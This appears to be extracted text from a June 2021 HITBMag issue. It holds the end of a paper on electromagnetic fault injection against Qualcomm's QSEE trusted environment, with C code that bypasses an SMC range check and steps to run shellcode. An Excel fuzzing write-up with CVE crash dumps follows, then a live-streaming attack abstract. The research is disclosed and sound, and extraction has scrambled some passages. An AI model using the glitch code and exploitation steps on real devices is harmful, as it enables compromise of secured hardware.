This allows us to change the software that's executed by the IPQ40xx processor in order to bypass or alter the security measures in software (e.g. range checks). Effectively, this allows us to break into QSEE from the REE without relying on any software vulnerability.

#### Setup

We use commercially available tooling to perform the EMFI attack. An overview of the setup is shown in Figure 9 and a photo of the setup is shown in Figure 10.



Figure 9: EMFI setup (block diagram)



Figure 10: EMFI setup

We use software to program both the Riscure Spider and the Riscure XYZ Table before each experiment. This allows us to control the glitch parameters (position, momentintime and glitch power) completely automatically. To reset the target, we use a relay to switch power supply of the device.

We perform the EMFI attack by placing the EM probe directly on the chip's surface. In order to do so, we opened up the target and removed the chip's heatsink. We made no other physical (invasive) modifications.

#### Characterization

We started with a characterization phase aimed to find a location on the chip's surface where we can influence the target. We implemented test code as a U-Boot standalone application, hence running with REE privileges (i.e. NS-bit is 1). This allows us to efficiently explore the resilience of the chip in a controlled environment. We use the XYZ stage to move the EM probe automatically across the chip's surface in a 10x9 grid in order to find a vulnerable location.

The test code implements the following steps:

- 1. Set register R0 to 0
- 2. Set trigger signal high
- 3. Execute 10,000 add instructions (i.e. add R0, R0, #1)
- 4. Set trigger signal low
- 5. Print the value stored in R0 on the serial interface

To synchronize the attack, we use the GPIO pins driving the target's LEDs as a trigger to time the attack. We time the glitch so that

After performing roughly 20,000 experiments we observed different outputs which we grouped as is shown in Table 1.

ID	Output	Group
C-00	AAAA 00002710 BBBB	Expected
C-01	<no output=""></no>	Expected
C-02	AAAA 0000270f BBBB	Successful
C-03	AAAA 0000270e BBBB	Successful
C-04	AAAA 0000270b BBBB	Successful
C-05	<undefined instruction=""></undefined>	Other
C-06	<prefetch abort=""></prefetch>	Other

Table 1. Characterization results

Not all outputs we observed are shown, just a few interesting ones.

- The C-00 experiments give the expected output, indicating the glitch did not affect the execution of the test code.
- The C-01 experiments showed no output as the chip muted, indicating the glitch was likely too strong, leaving the system in an unresponsive state.
- The C-02, C-03 and C-04 type of experiments show a different counter value than expected. This indicates that the injected glitch affected the expected behavior of the software. We consider these successful experiments.
- The C-05 and C-06 experiments caused a processor exception. These are interesting as well as they are an indication that we affected the chip's intended behavior, but in a crash, as the system was unable to continue execution reliably.

We plotted the results based on their classification (see Figure 11). Next to the plot there is the orientation of the chip. We observe that all successful results occurred in a specific area on the chip's surface.



Figure 11: Experiments plotted across the chip's surface

We assume that the location that allows us to inject successful glitches into the REE (i.e. U-Boot) will also yield successful glitches for the TEE (i.e. QSEE) as both code bases are executed by the same processor. Therefore, we simply fix the probe on a location where we observed a successful glitch. This allows us to continue testing the TEE execution without moving the probe, effectively removing the spatial parameter from the glitch parameter search space.

#### Bypassing range checks

We decided to bypass the SMC handler routine argument check for tzbsp fver get version() to demonstrate the effectiveness of fault injection to break into QSEE.

This function is decompiled in the (simplified) pseudo-code by IDA Pro as is shown in Listing 4. The is\_ree\_range() function is used to verify if the argument a2 points to a 16-bytes memory range fully contained in REE memory.

Our goal is to bypass the restriction enforced by this function using EMFI in order to write a 0 to an arbitrary location. Such writes are performed by TEE code, yielding a controlled NULL write to arbitrary TEE memory.

Being able to bypass the range checks, it's likely that the security of QSEE is compromised and that arbitrary code execution can be achieved.

In order to access the tzbsp\_fver\_get\_version() function, we use the test code, implemented as a U-Boot standalone application (see Listing 5).

nt	tzbsp_fver_get_version(int al, u32 *a2, u32 a3)
	unsigned int v4 = 0;
	<pre>if ( !is_ree_range(off_87EAB290, a2, a2 + 3) )</pre>
	return 0xFFFFFEE;
	if ( a3 < 4    !a2 )
	return 0xFFFFFFF0;
	*a2 = 0;
	do
	{
	<pre>if ( dword_87EABB48[2 * v4] == a1 )</pre>
	<pre>*a2 = dword_87EABB48[2 * v4 + 1];</pre>
	++v4;
	}
	while ( $v4 < 0xC$ );
	return 0;

Listing 4: Decompiled tzbsp fver get version function

We inject the EM glitch between the moment the trigger signal is set and the trigger signal is unset. During this time frame, we execute the SMC call for the first time using specifically chosen arguments.

- The argument arg1 is set to a value so that the do/while loop shown previously in the decompiled code does not write to the a2 pointer.
- The argument arg2 is set to a TEE memory address where configuration and flags flag field is not set the secure range is ignored. In other words, if we unset bit 1, the allows to pass any physical address to SMCs, including TEE, potentially allowing for unintended access to TEE memory.
- The argument arg3 is set to 4 to satisfy a check in the SMC command's code.
- The argument arg4 is not used.

We execute the same SMC command a second time, with the same destination address, without injecting any glitch, in order to verify whether the secure range is really disabled and our attack was successful.

Moreover, we dereference the secure range flag field from REE, in order to verify that the malicious TEE write actually happened.

It should be noted that, due to the (mis)configuration of this specific device, we are able to read TEE memory from the REE. Typically, this should not be possible, otherwise any secrets handled by the TEE are exposed to the REE.

For this particular device this is not an issue because as far as we know no secrets are handled by the TEE. We leverage this capability to double verify our test as we can read the TEE memory address before and after the attack.

#### HITBMag | June 2021

```
u32 arg1 = 0xdeadbeef; // r0, prevents writing to *arg2
u32 arg2 = 0x87EAB204; // r1
u32 arg3 = 4; // r2
u32 arg4 = 0; // r3, not used
u32 * trigger = (u32 *)(0x0102f004);
*trigger = 0x0;
// calling tzbsp_fver_get_version()
ret1 = scm_call_r(0x6, 0x3, arg1, arg2, arg3 , arg4, 3);
*trigger = 0x3;
// calling tzbsp_fver_get_version()
ret2 = scm_call_r(0x6, 0x3, arg1, arg2, arg3 , arg4, 3);
printf("AAAA%08x%08x%08xBBBB\n", ret1, ret2, *(u32 *)arg2);
```

Listing 5: Decompiled tzbsp fver get version function

for the secure memory range (0x87e80000 to 0x87ffffff) are stored. If bit 1 of the is ree range() functions does not enforce protection for the given range. This, in turn,

The output we receive back consists of:

- Return value of the 2nd time we call the SMC command
- Dereferenced secure range flag field
- Marker (i.e. AAAA)

Marker (i.e. BBBB)

 Return value of the 1st time we call the SMC command

We anticipated the outputs of our attack code as outline in Table2.

We measured the trigger signal using an oscilloscope determined it's and 5.875 approximately microseconds (Fig 12). Our target, the range check, must be executed somewhere within this attack window. Therefore, we inject all our glitches within this attack window.

performed We roughly 300,000 experiments where we inject EM glitches within the entire attack window. We give each experiment a randomized power between 0% and 100%.

The EM probe itself is fixed to a vulnerable location on the chip's surface that we identified earlier. This entire campaign lasted roughly 12 hours.

We plotted all experiments as shown in Figure13.

The expected results are plotted in GREEN, processor exceptions are shown in MAGENTA, mutes are shown in YELLOW and successful results are shown in RED.



Table 2. Anticipated responses





Figure 13: Attack Results

The glitch delay, shown on the X-axis, is the time we wait before we inject the glitch relative to the moment in time where we observe the trigger signal. The glitch power is a percentage proportional to the maximum power of our EM probe.

If we simplify the plot, we observe three interesting areas.

- At area 1 we observe many (REE) processor exceptions, likely caused by the fact that we inject the glitch too soon before the context switch to the TEE is made.
- At area 2 we observe many mutes and successful exper- iments, indicating at this moment the code is executed that we attack.
- At area 3 we observe many (REE) processor exceptions, likely caused by the fact that we inject the glitch after the context switch to the REE is made.

The success rate with our initial glitch parameters (location, moment in time and power) is 0.05% or, differently said: 1 successful experiment every 5 minutes.

However, if we tune the glitch parameters (i.e. glitch delay and glitch power) to area 2, the success rate is 5%. Differ- ently said, 1 successful experiment every 20 seconds. More interestingly, we are able to bypass the range range check with a very high success rate. We feel comfortable saying that we are able to bypass all the range checks used by QSEE using this method.

#### Achieving code execution

From exploiting the software vulnerabilities mentioned ear-lier in this article, we know that bypassing the range checks is sufficient for executing arbitrary code within QSEE. The range table used by the range check is stored in writable memory and therefore we can leverage restricted writes to disable the range checks entirely.

Then, we can leverage a combination of QSEE handler routines in order create an arbitrary R/W primitive. This allows us to copy any data to and from QSEE memory. Using this R/W primitive we can change the data used by a specific QSEE handler routine in order to achieve arbitrary code execution at the same privilege level as QSEE. The process is as follows:

- Store shellcode in non-secure memory at 0x82000000
- Modify the MMU configuration to clear the XN-bit for 0x82000000
- Set the function pointer used by tzbsp\_exec\_smc to 0x82000000
- Use tzbsp\_exec\_smc to jump to 0x82000000 in order to execute the shellcode

More information about this exploitation approach will be provided on the Raelize Research Blog on the Raelize website.

#### CONCLUSION

We've identified both software and hardware vulnerabilities, affecting Qualcomm's TEE named QSEE, as implemented on Qualcomm IPQ40xx-based devices. These vulnerabilities enable an attacker to execute arbitrary code at the highest privilege level. We reported all vulnerabilities to Qualcomm using a responsible disclosure process.

We've identified the software vulnerabilities by reverse engineering the QSEE binary that we've extracted from multiple devices. Even though these vulnerabilities were critical, they can be easily fixed using a software update, which can be distributed to devices already in the field. Therefore, we anticipate these vulnerabilities to be fixed in the future.

However, the hardware vulnerability, which can be exploited using EM glitches, cannot be easily mitigated, especially not for devices already in the field. Qualcomm indicated to us that these types of attacks are outside of the IPQ40xx's threat model. Therefore, an attacker capable of injecting EM glitches, will always be able to break into QSEE, without relying on any software vulnerability.

The impact of software vulnerabilities is typically much larger than hardware attacks that require physical access to a device. Mass exploitation is for example typically not possible.

Nonetheless, we like to stress that hardware attacks should not be immediately omitted from the threat model of a device. They are often used by attackers to get access to secured code or data in order to perform subsequent research during which easier to exploit (software) vulnerabilities are identified.



# HOW I FOUND 16 MICROSOFT OFFICE EXCEL VULNERABILITIES IN 6 MONTHS

Quan Jin

### INTRODUCTION

At the beginning of 2020, I decided to learn something about fuzzing. I first read some papers about fuzzing, include "Finding security vulnerabilities with modern fuzzing techniques". After learning the basic concepts about fuzzing, I decide to do some fuzzing job on Windows platform. My goal was to get a CVE number from Microsoft through fuzzing.

#### Fuzzers

There are many fuzz tools for linux platform, such as AFL, LibFuzzer and Honggfuzz, but there are less fuzz tools on Windows. WinAFL is a great tool, however it cannot handle large and complex software such as Microsoft Office.

Over the past three years, hundreds of bugs on Windows were found by WinAFL, which means there are basically no chance to find more bugs through it. Some researchers make some improvements on WinAFL, and find more bugs based on their custom WinAFL.

From my perspective, I want to choose a target which is less targeted by WinAFL and I'm familiar with this target.

#### Choose a Target

There are several candidates: Adobe Reader, Internet Explorer and Microsoft Office. Let's review them one by one.

- Adobe Reader was heavily fuzzed by WinAFL at the year of 2018
- Internet Explorer was heavily fuzzed by Domato during 2017, 2018 and 2019
- Few people have done effective Office fuzzing work, but there do have some, such as Jaanus Kaap's presentation at POC2018

It seems that Microsoft Office is a good candidate. But here comes two questions:

- 1. Is it possible to find a bug in Microsoft Office on several months for a newcomer in fuzzing?
- 2. Microsoft Office consists of multiple components, should I choose Word, PowerPoint, Excel or another component to fuzz?

Let me first answer the first question. I'm a newcomer in fuzzing, but I have extensive experience in office vulnerability analysis. So, it's possible for me to find a bug in Microsoft Office.

To answer the second question, I counted the Microsoft Office CVE numbers and their distribution from 2017 to 2020. The initial statistical time is up to April 2020, I updated the statistical data in June 2020.

Here is the up to June 2020 statistical results:

	Word	PowerPoint	Excel	Outlook	Office
2017	0	3	5	8	43
2018	4	3	23	9	33
2019	8	1	12	1	2
2020(up to June)	7	0	9	0	3
Summary	19	7	49	18	81

Note: The column "Office" represents Office vulnerabilities that do not specify specific components. Which means that they may be Word, PowerPoint, Excel, Outlook or other vulnerabilities.

We can learn something from the table:

- 1. Around 2018, Microsoft made a change to the disclosure name of Office vulnerabilities to make the classification more detailed:
- 2. From 2017 to 2020, the Excel component has the most vulnerabilities almost every year;
- 3. From 2017 to 2020, the PowerPoint component has the least vulnerabilities almost every year

If a security researcher invests the same amount of time in security testing for each Office component, Excel is obviously the most hopeful one, and PowerPoint is the least. Word and Outlook are in the middle. If I can choose only one target, it will be Excel.

#### METHODOLOGY AND IMPLEMENTATION

Now, I have selected Excel as my target. files. I don't want to use WinAFL, so I need Before starting fuzzing, I need to evaluate to implement this function by myself. the feasibility of the basic steps involved While trying to solve the above problem, I in Excel fuzz. A common fuzzing process saw two blogs by Jaanus Kaap: usually includes the following stages:

- 1. Seeds How to collect seeds?
- 2. Mutator How to mutate?
- 3. Detection How to catch exceptions?
- 4. Triage How to classify and deduplicate crash files?
- 5. Reproducer How to reproduce the crash?
- 6. Report How to report the vulnerability to the vendor?

Let's examine them one by one.

#### Seeds

Before fuzzing Excel, I need to collect some Excel files as seeds. After counting the file types involved in the Excel vulnerabilities announced by ZDI in the last 3 years, I realized that the proportion of vulnerabilities in the OpenXML format is far less than that of the OLE2 format, So I began to focus on xls files. After some exploration, the source of my seeds is as follows:

- 1. Contextures (https://www. contextures.com)
- 2. Vertex42 (https://www.vertex42. com)
- 3. Excel files provided by Jaanus Kaap (https://foxhexOne.com)

Many fuzz tutorials tell us that the more files are not the better, nor the bigger the better. So I need to minimize the collected Excel files. If the fuzz tool is WinAFL, you can use the built-in components to distill the seed

- · Let's get things going with basics of file parsers fuzzing
- · Let's continue with corpus distillation

Unfortunately, at the time of writing this presentation, these blogs are no longer accessible, but I read these two articles in detail at that time.

Although it is no longer possible to obtain relevant knowledge from the author's blog, Jaanus Kaap once shared his experience at the POC2018 Conference entitled

income."

However, the ideas of corpus distillation Detection are similar between different tools: for the software you want to fuzz, first select a module, then use the tools and initial seeds to make statistics on the module coverage. The goal of this is to select the smallest number of files with the highest module coverage, and hope that these files are as small as possible.

With the help of static count and dynamic execution, I distilled a set of Excel seeds in an acceptable time as the initial seeds for my fuzzing.

#### Mutation

Mutation algorithm is an important part of fuzz, and its quality directly affects the result of fuzz.

I transplant the following mutation algorithms in Honggfuzz:

- mangle\_Bit
- mangle\_IncByte
- mangle\_DecByte
- mangle\_NegByte
- mangle\_Bytes
- mangle\_ASCIINum
- mangle\_CloneByte
- mangle\_AddSub

For the remaining mutation methods in Honggfuzz, after careful evaluation, I chose not to transplant.

I also integrate all the values of the byte's replacement part of AFL, LibFuzzer and Honggfuzz, and construct a mutation value I need to focus on.

"Document parsers 'research' as passive replacement table covering these three fuzzers.

The detection part can be simply abstracted into automatic start of the program, open the file, monitor process and catch the exception. There are many good solutions on Github, which are generally implemented by winappdbg or pydbg.

Vanapagan by Jaanus Kaap is a good example.

In order to improve the catch rate of heap memory access exceptions, I use Global Flags to enable Page Heap for Excel process.

#### Triage

During the fuzzing process, hundreds of crash files will be collected, how to effectively classify them is a science. Based on existing experience, I mainly pay attention to the following conditions:

- 1. Access violation: the exception code is 0xC0000005. Microsoft does not accept stack exhaustion vulnerabilities such 0xC0000FD:
- 2. Non-null pointer reference exception: Microsoft does not accept null pointer reference vulnerabilities

Based on the above considerations, my classification rule is to distinguish a null pointer reference from a non-null pointer reference, distinguish access violation from other exception types. Under this rule, those non-null pointers with an exception code of 0xC000005 are the crashes that My classification rule for Microsoft Office Excel exceptions for Non-null pointer reference is as follow:

- Read access violation
  - » Out-of-bound read
  - » Use-after-free read

In terms of real-time synchronization of the fuzz results across multiple virtual machines, I use a FTP server which serves in a virtual machine as the result server, and install the pyftpdlib module in server and clients.

#### Reproducer

Not all crash files can be reproduced. So I write a reproducer based on my fuzzer. This reproducer is used to reproduce the crash results in various full patch Office environments and record the reproduced results. I make multiple Office environments to reproduce the crash files. Including but not limited to these:

- Office 2007 no patch & full patch
- Office 2010 no patch & full patch
- Office 2013 no patch & full patch

For those reproduced by the reproducer, I will perform some manual check. If both pass, these files are regarded as valid vulnerability files.

#### Report

When a crash file is successfully reproduced, it can be automatically generated a professional report with the help of Bugld. It should be noted that Bugld can only run on Windows 10, so a "Windows 10+Office environment" with the latest Office and full patch version need to be made.

Below is the Bugld report I generate for one of my Excel vulnerabilities:

BugId:	00BR[8]+0 cd3.f66
Location:	excel.exe+0xDF6C24
Description:	An Access Violation exception happened at 0x1195B000 while attempt
	0x1195AFF8. This indicates an Out-Of-Bounds (OOB) access bug was t
Version:	Excel. exe: 14.0.7249.5000 (x86)
Security impact:	Potentially exploitable security issue that might allow information
Arguments:	[' . x1s']

Once you have the Bugld report, you can submit the vulnerability to MSRC:

- MSRC Researcher Portal
- The specific format of the vulnerability report can be referred to here
- The poc and Bugld reports can be uploaded as attachments.

- Write access violation
  - » Out-of-bound write
  - » Use-after-free write

- Office 2016 no patch & full patch
- Office 2019 no patch & full patch



#### EQUIPMENT

I have a laptop for reproduction and report generation. These are all my fuzzing equipment.

My entire fuzz machine is only one computer with the following configuration:

- i7-8700 (12 Cores)
- 16G DDR3 RAM

• 1T HDD

#### PROBLEMS

Throughout the process, I encountered at least the following problems:

- Dialog click
- Virtual machine size
- Speed of execution

Crash management

Version switching

• Fuzz strategy

3.2GHz Primary Frequency

#### **Dialog Click**

The Excel software has various dialog boxes during the excuting process. Some dialog boxes such as "Safe Mode" can be resolved by cleaning the registry, while others need to be manually clicked.

My way of solving these dialog boxes are as follows:

- Before each start of the file (or the end of the file), clean up the relevant registry item:
  - » HKCU\Software\Microsoft\Office\Version\Excel\Resiliency
- Add a simple simulation click tool during the fuzzing, such as starting a separate thread for window enumeration and dialog click. A good example is <u>cuckoo sandbox</u> <u>human plugin</u>:

These methods can only handle most of the dialog box click problems, there are still some dialog boxes that I cannot solve, but there is no need to be perfect, it is enough to do these.

#### Virtual Machine Size

I use VMware to fuzz. During the fuzzing process, a large number of files are generated in each virtual machine, these files will gradually increase the size of each virtual machine.

Over time, the disk overhead of the host will increase significantly(usually several to dozens of GBs per virtual machine).

In order to solve this problem, you must ensure that the current fuzzer has effectively cleaned up the files generated by the previous fuzz before starting the next file, mainly

the following folders:

- %AppData%\Local\Temp
- %AppData%\Roaming\Microsoft\
   Office\Recent
- %AppData%\Roaming\Microsoft\
   Windows\Recent

Otherwise, once the number of fuzz executions increases, the size of the virtual machine will explode. As a result, the fuzzer will stop.

In addition to above operations, I also use <u>Dism++</u> tool to regularly clean up the temp files inside each virtual machine, and configure the virtual machine to automatically clean up the disk after shutting down.

In this way, the size of each virtual machine will be automatically reduced after shutdown, and the size of each virtual machine can be restored to the original size after a fixed interval (such as a few weeks), thus creating a basis for continuous fuzzing.

#### Speed of execution

When other conditions remain unchanged, the speed of fuzzing directly affects the output efficiency.

After some testing and evaluation, I think the main factors affecting Excel fuzz are as follows:

- File size
  - » In the corpus distillation stage, I have selected as small a seed as possible while ensuring coverage. From a statistical point of view, for Excel, files smaller than 400KB are more likely to produce vulnerabilities.

- Office version
  - There are many versions of Office. The higher the version, the slower the opening speed. From another perspective, the higher the version, the larger the amount of code and the number of potential vulnerabilities.
     I need to make some trade-offs.
     After a period of evaluation, I decide to focus on vulnerabilities which exists from Office 2007 to Office 2019.
  - » After making this choice, I can speed up fuzzing by choosing to execute the file in a lower Office version. Although Office 2007
     / Office 2010 have successively withdrawn from the support list, they are useful if the crash file which collected in these environments can affect the latest version of Office software.
  - » The main fuzz environment I finally chose is Office 2010. After many fine-tuning, my fuzzer can be stabilized on 10 virtual machines, and each virtual machine executes an average of 15w files per day, that is, runs about 15w files per day.
- The stability of fuzzer
  - » If a fuzzer is unstable and crashes itself when executing, that is sad. Some fuzzers that use winappdbg may have this problem on x64 environment, so I mainly run my fuzzer on x86 environment. After observing and improving for a long period of time, my fuzzer has achieved relatively good stability, it can run for weeks without problems.

- » This problem was discovered through observation. My fuzzing environment uses HDD. When using VMware to open multiple virtual machines (I open up to 11 virtual machines on a single computer), disk IO will become very stuck.
- » Due to the limitation of disk IO, the fuzzing of inner virtual machines will cause VMware itself to hang on for a long time, which significantly affect the fuzz speed. Sometimes the ends abnormally.
- » It is necessary to clean up the environment in the virtual machine Fuzz Strategy and restart the fuzzing, or restart the related virtual machine to resume the fuzzing. This process is a waste of time. I think SSD will improve a lot.
- CPU Cores, RAM and Primary Frequency
- » CPU Cores, RAM and Primary Frequency: The number of CPU cores and the RAM capacity directly determine the maximum number of virtual machines that can be opened at the same time. The bigger the two indicators, the better. The primary frequency directly affects the opening speed of the program. The bigger the primary frequency, the better.

#### Version Switching

During the fuzzing, it is necessary to consider the inconsistency of processing the same file by different architectures (x86

and x64), different patches(no patch and full patch), and different language versions (Chinese and English). I mainly consider the following scenes:

- Files that cannot be triggered on x86 can be triggered under x64;
- Files that cannot be triggered in a lower patch environment can be triggered in a higher patch environment;
- Files that cannot be triggered in the English environment can be triggered in the Chinese environment

fuzzing in a single virtual machine Therefore, I test the above scenes with each set of seed files, and gain some extra crashes.

I think fuzz strategy is the most important part of my Excel fuzzing. What I have is a machine consisted of these:

- i7-8700 (12 Cores)
- 16G DDR3 RAM
- 3.2GHz Primary Frequency
- 1T HDD

What I want are:

- 1. Obtain as much vulnerabilities as possible in the shortest time
- 2. Find vulnerabilities that exist in all versions of Office

This forces me to do many thoughts and explorations on how to configure fuzz strategies, my experience on fuzz strategies including but not limited to the following:

 Skip the first 512 bytes of the header of the OLE2 file during mutation to improve the effectiveness of the mutation:

- Use an older version of Office for Crash Management fuzzing to improve the speed of fuzzing;
- Use smaller Excel files for fuzzing to increase the speed of fuzzing;
- · Use Google to collect xls files which were made with old versions of Excel in the 1990s and 2000s, and add them to the initial seed collection;
- Select Office attack surface that may cause problems based on my experience (e.g. pivot table), then select related files for fuzzing;
- For a period of time, select the Excel files that is most likely to cause problems in the current results, and increase the proportion of them, because the file that causes a problem often causes other similar problems;
- · For the same files, only use one mutation algorithm for fuzzing within a period of time, and continue to observe the effectiveness of the current mutation algorithm. If there are still more new outputs after a week, continue to fuzz, if there are almost no new outputs after a week, switch to another mutation algorithm;
- · Categorize the size of seed files, such as 0-100KB, 101-400KB, 401-1024KB >1MB, and test each seed set of a specific size in a specific period of time:
- The same files will be tested in full patch and no patch environments, in Chinese and English environments and in x86 and x64 environments

As more and more results are obtained from fuzzing, how to manage these crash files has become a very important thing. I mainly consider the following conditions:

- How to merge the same cases generated in different fuzz machines;
- · How to exclude crash cases that have appeared before from the newly added crash files

Regarding how to merge the same cases generated in different fuzz machines, I have explained in the section "Methodology & Implementation - Triage" above.

use a FTP server to receive crash files across virtual machines, if a crash file has the same module and the same crash address with a previous file, the server will reject it.

Every once in a while, I will drag out all the crash files in the FTP server and reproduce them in a full patch environment with the help of my reproducer (I make several full patch environments, only one is frequently used).

Only those newly appeared crash files need to be examined. Therefore, I use a python script to save all crash files processed by the reproducer to a local "database"(this database is just a simple folder list, but it is very effective).

When the number of crash case in the database becomes more and more, the newly appeared crash files will be fewer and fewer, at the same time, the vulnerability rate of these new files will be higher and higher.

#### RESULTS

After half a year of fuzzing (from 2020.05 to 2020.10), I reported a total of 20 Excel vulnerabilities to Microsoft.

Two of them were marked as "Valid" but will not be fixed immediately, one was marked as "Won't fix", and the remaining 17 vulnerabilities are all fixed, and helped me receive 16 CVE acknowledgements from Microsoft (one of them is duplicate).

MSRC Case ID	Vulnerability Type	Effect Version	Impact	CVE
58769	OOB Read	All	RCE	CVE-2020-1495
58805	OOB Read	All	RCE	CVE-2020-1496
58974	OOB Read	All	Info Leak	CVE-2020-1497
59124	OOB Read	All	RCE	CVE-2020-1498
59203	OOB Read	Office2010	RCE	CVE-2020-1504
59378	OOB Read	All	Info Leak	CVE-2020-1224
59494	Unallocated Memory Write	All	RCE	CVE-2020-1494
59482	OOB Read	All	RCE	Won't Fix
59646	OOB Read	All	RCE	Valid
59663	OOB Read	All	RCE	CVE-2020-1335
60883	OOB Read	All	RCE	Valid
60594	UAF Read	All	RCE	CVE-2020-17064
61205	OOB Read	All	Info Leak	CVE-2020-17126
60654	UAF Read	All	RCE	CVE-2020-17065
60979	UAF Read	Office2010	RCE	CVE-2020-17066
61030	UAF Read	Office2010	RCE	CVE-2020-17122
61223	UAF Read	Office2010	RCE	CVE-2020-17127
61460	OOB Write	All	RCE	CVE-2020-17129
61461	UAF Read	Office2010	RCE	Duplicate
61646	Unallocated Memory Free	All	RCE	CVE-2021-1714

Note: "ALL" refers to Office2010, Office2013, Office2016, Office2019

Note: Case 61461 has been fixed in the January 2021 patch but it is duplicate, I have not tracked down its corresponding CVE number.

Below I share some cases found by my fuzzer.

- CVE-2020-1494 is an unallocated memory write issue in excel.exe.
- CVE-2020-17126 is an out of bound read issue in excel.exe.
- CVE-2020-17127 is an use after free read issue in excel.exe, it is a nice UAF.

CVE-2020-1494 (12a8.da0): Access violation - code c0000005 (first/second chance not available) For analysis of this file, run !analyze -v eax=02f842ec ebx=53348fc8 ecx=00004f00 edx=00004f00 esi=02f7f3ec edi=41004f00 eip=6a7b2dae esp=02f7f36c ebp=02f7f38c iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 VCRUNTIME140!memmove+0x4e: 6a7b2dae f3a4 0:000> dc edi CVE-2020-17126 (ddc.1678): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=5d1a10b8 ebx=00ce8354 ecx=000000b8 edx=00000150 esi=5d1a1000 edi=4e19cf48 eip=657f36fe esp=00ce6794 ebp=00ce67ac iopl=0 cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 VCRUNTIME140!memmove+0x4e: 657f36fe f3a4 0:000> !heap -p -a edi address 4e19cf48 found in \_DPH\_HEAP\_ROOT @ d01000 VirtAddrbusy allogation \_\_\_\_ DPH\_HEAP\_BLOCK: 5bba3b94: 4e19c000 2000

5873ab70 verifier!AVrfDebugPageHeapAllocate+0x00000240 770090bb ntdll!RtlDebugAllocateHeap+0x00000039 76f5349d ntdll!RtlpAllocateHeap+0x000000ed 76f5214b ntdll!RtlpAllocateHeapInternal+0x000006db 76f51a46 ntdll!RtlAllocateHeap+0x00000036 5467cadf mso20win32client!Ordinal951+0x00000034 ...cut...

0:000> !heap -p -a esi address 5d1a1000 found in \_DPH\_HEAP\_ROOT @ d01000 VirtAddrbusy allogation\_() DPH\_HEAP\_BLOCK: 24d62270: 5d1a0000 2000 5873ab70 verifier!AVrfDebugPageHeapAllocate+0x00000240 770090bb ntdll!RtlDebugAllocateHeap+0x00000039 76f5349d ntdll!RtlpAllocateHeap+0x000000ed 76f5214b ntdll!RtlpAllocateHeapInternal+0x000006db 76f51a46 ntdll!RtlAllocateHeap+0x00000036 5467cadf mso20win32client!Ordinal951+0x00000034 ...cut...

```
nv up ei pl nz na po cy
                                        efl=00210203
rep movs byte ptr es:[edi],byte ptr [esi]
                             nv up ei pl nz na po cy
                                        efl=00010203
rep movs byte ptr es:[edi],byte ptr [esi]
                           UserAddr
                                              UserSize
                            4e19cea8
                                                   158
                           UserAddr
                                              UserSize
                            5d1a0f58
                                                    a8
```

CVE-2020-17127				
(518.1010): Access vi	olation -	code c0000005 (fir	st chance)	
First chance exceptio			-	a.
This exception may be				y.
eax=049c6e94 ebx=0429	•		20 and $-0.0006$ day	adi-1160000
eip=2fadc12e esp=006f cs=001b ss=0023 ds=		•		efl=00210246
Excel!Ordinal40+0x19c		1023 IS=003D 9S=00	000	e11=00210240
2fadc12e 8b01		eax,dword ptr [ed	cxl_ds:0023:04a	20e28=2222222
1:014> !heap -p -a ec	x			
address 04a20e28	found in			
_DPH_HEAP_ROOT @	1701000			
in free-ed alloca	tion ( DI	PH_HEAP_BLOCK:	VirtAddr	VirtSize)
		4952d00:	4a20000	2000
61e0adc2 verifier	!AVrfDebug	pPageHeapFree+0x000	000c2	
77d99913 ntdll!Rt	lDebugFree	eHeap+0x0000003e		
77cdfb7e ntdll!Rt	lpFreeHea	0+0x000000ce		
77cdfa46 ntdll!Rt	lpFreeHea	oInternal+0x00000140	5	
77cdf49e ntdll!Rt	lFreeHeap∙	+0x0000003e		
79645cc3 mso!Ordinal1	49+0x0000	78ef		
cut				
1.014				
1:014> u eip Excel!Ordinal40+0x19c	120.			
2fadc12e 8b01	mov	eax,dword ptr [ed		
2fadc130 51	push	-	~~1	
2fadc130 ff5008	call	dword ptr [eax+8]	1	
2fadc134 c3	ret		1	
2fadc135 a130039c30		eax,dword ptr [Exce]	UD]]GetLCTD+0xd	lef7 (309c0330)
2fadc13a 050c030000	add	eax, 30Ch		(00,0000)
2fadc13f 833800	cmp	dword ptr [eax],6	3	
2fadc142 7468	je	Excel!Ordinal40+0		ac)
	<u>_ ر</u>		(2:440)	,

#### LIMITATIONS

For now, my fuzz method has the following shortcomings:

- 1. As mentioned earlier, in order to improve the speed and efficiency of fuzzing, I selectively ignored some potential vulnerabilities in terms of strategy (such as vulnerabilities only in the newer Office version). The fuzz method in this presentation is aimed at the vulnerabilities that affect all Office versions. Due to the limitations of my testing methodology, those vulnerabilities that only exist in the latest version of Office but not in the lower version of Office cannot be found through my fuzzing method;
- 2. If the current disk can be replaced with SSD, the file read/write speed will be significant increase, which can improve the fuzzing speed;
- 3. The mutation algorithm can still be improved. According to observations, after transplanting the Honggfuzz mutation algorithm to my custom fuzzer, the fuzz

output has increased significantly, which shows that an effective mutation algorithm can greatly improve the fuzz output. If I continue adding better mutation algorithms to the current fuzz framework, it can further improve the results;

- 4. The start and stop time of Excel process is too expensive. If there is a better way for simulating Excel execute process, it will significantly reduce the opening and closing time of the Excel process, and the fuzz speed can be greatly improved;
- 5. The corpus distillation method in this presentation uses static code coverage statistics. Compared with dynamic coverage statistics, this statistical method has lower coverage accuracy. Only a rough coverage assessment can be done, so there is room for improvement;
- 6. The initial seed set used by my fuzzer is limited. If all non-malware xls files on VirusTotal can be used for corpus distillation, the coverage result will be better and there will be more output

#### ACKNOWLEDGEMENTS

Special thanks to Jaanus Kaap's blogs, the topics he shared at the POC2018 Conference, his open source Vanapagan project and the XLS seed files he generously shared, all of which helped me a lot.

Special thanks to @hackyzh, some of his fuzz ideas have inspired me a lot.



# CLIENT-SIDE ATTACK ON LIVE-STREAMING SERVICES USING GRID COMPUTING

Suhwan Myeong Taiho Kim TaiSic Yun Seungmin Yoon Sunhong Hwang



Number of users who use Live-Streaming services are increasing currently. As a result, the volume of traffic required to provide services is increasing exponentially, which leads to economic and technical burdens. To solve this, many platforms providing Live-Streaming services are known to use grid computing to distribute traffic to clients. Grid computing technology uses P2P with unauthorized clients to send and receive data rather than communicating with trusted servers. This makes the process vulnerable at all time due to the difficulty in verifying data and the fact that it is processed locally. This paper analyzes widely used Live-Streaming services employing grid computing and suggests attack surfaces that can lead to vulnerabilities. Furthermore, we demonstrate its risk by explaining vulnerabilities we found (e.g., picture distortion, DoS, and data hijacking) on the exact attack surface. Finally, we suggest a security measure to these vulnerabilities.

